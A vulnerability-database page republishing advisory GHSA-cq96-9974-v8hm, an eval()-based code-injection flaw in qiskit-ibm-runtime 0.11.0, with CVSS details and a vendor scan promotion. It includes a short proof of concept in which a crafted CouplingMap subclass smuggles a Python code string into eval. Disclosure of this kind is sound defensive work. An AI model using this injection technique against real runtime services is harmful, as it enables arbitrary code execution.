Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ GHSA-cq96-9974-v8hm — qiskit-ibm-runtime

🟢 CVSS 2.0 — Low ✅ No Known Exploit CWE-627 OSV
2.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Dynamic Variable Evaluation in qiskit-ibm-runtime

Summary

An eval() method exists Options._get_program_inputs. This is bad in any case, but especially bad because Options are also used server side, so this has the potential to expose arbitrary code injection in runtime containers, now or at a later time.

Details

https://github.com/Qiskit/qiskit-ibm-runtime/blob/da94a42060f1a22e6f306227deb45b70e0075723/qiskit_ibm_runtime/options/options.py#L140

PoC

A local exploit would be something like

```python

from qiskit import transpiler

class BadActor(transpiler.CouplingMap):

def __str__(self):

return "print('external code')"

```

Where print("external code") can be any arbitrary python code string.

Then if you did a normal workflow and used a specifically constructed CouplingMap subclass like BadActor above:

```python

from qiskit_ibm_runtime import QiskitRuntimeService, Session, Options, Sampler

from qiskit import QuantumCircuit

cmap = BadActor.from_line(42)

service = QiskitRuntimeService()

options = Options(optimization_level=1)

options.simulator = dict(coupling_map=cmap))

bell = QuantumCircuit(2)

bell.h(0)

bell.cx(0, 1)

bell.measure_all()

with Session(service=service, backend="ibmq_qasm_simulator") as session:

sampler = Sampler(session=session, options=options).run(bell)

```

This will print external code

Impact

Security vulnerability.

How this vulnerability can be exploited

This issue can be reached with local access to the system, attack complexity is high, an attacker needs low-level privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality none, integrity low, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N

  • Attack vector: Local — a local account, shell or session on the host is needed.
  • Attack complexity: High — the attacker first has to win a race, learn a secret or otherwise prepare the target.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Changed — a successful attack reaches components beyond the vulnerable one.
  • Confidentiality impact: None.
  • Integrity impact: Low — limited, and the attacker does not choose what is affected.
  • Availability impact: None.

Weakness class

GHSA-cq96-9974-v8hm is classified as CWE-627: Dynamic Variable Evaluation. In a language where the user can influence the name of a variable at runtime, if the variable names are not controlled, an attacker can read or write to arbitrary variables, or access arbitrary functions.

Affected software

GHSA-cq96-9974-v8hm is recorded against 1 package.

  • qiskit-ibm-runtime (from 0.11.0 up to 0.11.1)

Timeline and source

Published on 20 March 2024 and last revised on 29 November 2024. No public exploit is currently recorded for this entry. Record sourced from OSV.

References

github.com (Web)
github.com (Web)
github.com (Package)

Other advisories for this package

qiskit-ibm-runtime has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-627: Dynamic Variable Evaluation) in other software:

Details

Severity LOW
CVSS Score 2.0
CVSS Vector CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N
CWE CWE-627
Public Exploit ✅ No
Source OSV
Published 2024-03-20
Updated 2026-08-20
Modified 2024-11-29
Fix URL N/A

Affected Packages

Software From version Fixed in
qiskit-ibm-runtime 0.11.0 0.11.1

Similar Threats

Free Vulnerability Check

Is your site affected by GHSA-cq96-9974-v8hm?

BotEraser helps you identify potentially vulnerable plugins and themes by checking your installation against GHSA-cq96-9974-v8hm and other known CVE records.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesGitHub AdvisoryGitHub Advisory Undated
✓